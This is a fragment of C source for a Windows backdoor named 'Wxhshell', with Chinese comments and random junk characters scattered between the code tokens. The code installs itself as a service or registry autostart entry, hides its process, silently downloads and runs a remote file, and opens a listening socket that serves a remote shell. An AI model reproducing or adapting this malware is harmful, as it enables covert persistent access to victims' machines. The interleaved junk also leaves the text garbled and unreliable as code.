Z|zyO- char procName[255]; `-qRZh@ E unsigned long cbNeeded; ACQbw)tiv} OT-!n if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); m=;0NLs4 Mle@.IIT CloseHandle(hProcess); *6uZ"4rb. R7axm<PR= if(strstr(procName,"services")) return 1; // 以服务启动 =fA*b MLD-uI10{ return 0; // 注册表启动 `U:W (\L } N$u;Q(^ 'nH/Z 84 // 主模块 (Uk1Rt*h int StartWxhshell(LPSTR lpCmdLine) eteq Mg}M { Vf?+->-?{ SOCKET wsl; cspO5S># BOOL val=TRUE; 8I=n9Uyz int port=0; bpq2TgFj struct sockaddr_in door; c6zghP3dR v.Fq.
if(wscfg.ws_autoins) Install(); b'i-/l$ B<)c{kj port=atoi(lpCmdLine); oy+`` W~ "$)Nd+ny if(port<=0) port=wscfg.ws_port; )
xRm %4X#|22n WSADATA data; 'EF\=o)^Y if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; iq s d GEMrjx if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; iCA!=%M@D setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); C'~K am S door.sin_family = AF_INET; &=bWXNU. door.sin_addr.s_addr = inet_addr("127.0.0.1"); j#KL"B_A door.sin_port = htons(port); {O\>"2}m'f ?,Z[)5 ZN if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { -mD<8v[F closesocket(wsl); f5)4H return 1; cW+6Emh } ZM)Y Rdh 'n'83d)z if(listen(wsl,2) == INVALID_SOCKET) { LR :Qb]|" closesocket(wsl); :^
9sy return 1; &{#4^.Q } bcgh}D Wxhshell(wsl); f"^G\ WSACleanup(); "6.JpUf PbR6>' return 0; _Ju@<V$ 2^-Z17Z} } \9[_* hVvPI1[2 // 以NT服务方式启动 Z<7FF}i VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) j@OGl&'^- { \5g7_3,3W DWORD status = 0; {/f\lS.5g DWORD specificError = 0xfffffff; FmU>q) 8u+FWbOl] serviceStatus.dwServiceType = SERVICE_WIN32; B o@B9/ABv serviceStatus.dwCurrentState = SERVICE_START_PENDING; y\}39Z(] serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; JzhbuWwF- serviceStatus.dwWin32ExitCode = 0; :Ja]Vt serviceStatus.dwServiceSpecificExitCode = 0; Rg/*)SKj serviceStatus.dwCheckPoint = 0; 1$cX`D` serviceStatus.dwWaitHint = 0; [8Zq
1tU;G `1I@tz| hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); &[]0yNG if (hServiceStatusHandle==0) return; AEjkqG4qv Vq7L:,N9 status = GetLastError(); [/.5{|&GSt if (status!=NO_ERROR) iUcDj: { eBZ^YY<*g serviceStatus.dwCurrentState = SERVICE_STOPPED; hdFIriE3 serviceStatus.dwCheckPoint = 0; m%8idjnG serviceStatus.dwWaitHint = 0; -#yLH serviceStatus.dwWin32ExitCode = status; eK
}AVz}k serviceStatus.dwServiceSpecificExitCode = specificError; & <{= SetServiceStatus(hServiceStatusHandle, &serviceStatus); YuO-a$BP return; }=kf52Am,} } SG6@Rn*^ A]VcQ_e serviceStatus.dwCurrentState = SERVICE_RUNNING; C)2Waj} serviceStatus.dwCheckPoint = 0; xRZ9.Agv_ serviceStatus.dwWaitHint = 0; :5/P{Co( if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); k!/"J
; } zbL!q_wO r[P5
ufy2] // 处理NT服务事件,比如:启动、停止 6#NptXB VOID WINAPI NTServiceHandler(DWORD fdwControl) XwlAW7lU= { <OG rC .k} switch(fdwControl) }m6zu'CV { {fsU(Jj\ case SERVICE_CONTROL_STOP: 'B;aXy/JC serviceStatus.dwWin32ExitCode = 0; >BC?%|l serviceStatus.dwCurrentState = SERVICE_STOPPED; oH/6 serviceStatus.dwCheckPoint = 0; j(j o8 serviceStatus.dwWaitHint = 0; + V:P-D { 5l"EQ9 SetServiceStatus(hServiceStatusHandle, &serviceStatus); sP1wO4M?{ } n-q return; ?y( D_Nt L case SERVICE_CONTROL_PAUSE: $4yv)6G serviceStatus.dwCurrentState = SERVICE_PAUSED; v?Q|;< break; } $:uN case SERVICE_CONTROL_CONTINUE: OLAwRha serviceStatus.dwCurrentState = SERVICE_RUNNING; H ]BH break; Yh%a7K case SERVICE_CONTROL_INTERROGATE: zo*YPDEm" break; g(d9=xq@k }; e/@t U'$ SetServiceStatus(hServiceStatusHandle, &serviceStatus); L,Jl#
S } /I2RU2|B ~.4-\M6[ // 标准应用程序主函数 &V;^xMO! int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 8nOMyNpy~M { ,Y~{RgG np|3 os // 获取操作系统版本 r3a$n$Qw OsIsNt=GetOsVer(); 4@6!E^
GetModuleFileName(NULL,ExeFile,MAX_PATH); }kg?A oo hQ!sl O // 从命令行安装 kz]vXJ if(strpbrk(lpCmdLine,"iI")) Install(); z@E-pYV pDr%uL // 下载执行文件 %U]_1"d,<\ if(wscfg.ws_downexe) { ]d#Lfgo if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 3`@alhD' WinExec(wscfg.ws_filenam,SW_HIDE); (eS/Q%ZGK } KjR^6v w*.q t<rH) if(!OsIsNt) { Yk',a$.S // 如果时win9x,隐藏进程并且设置为注册表启动 ]"SH
pq HideProc(); E\N?D StartWxhshell(lpCmdLine); %mR roR6 } Tjo
K]] else 7_r$zEP6 if(StartFromService()) Kfnn; // 以服务方式启动 \Q.Qos StartServiceCtrlDispatcher(DispatchTable);
HJpkR<h else ZM oV!lu // 普通方式启动 5>.)7D% StartWxhshell(lpCmdLine); [uxhdR`T wT?.Mte return 0; G)28#aH }
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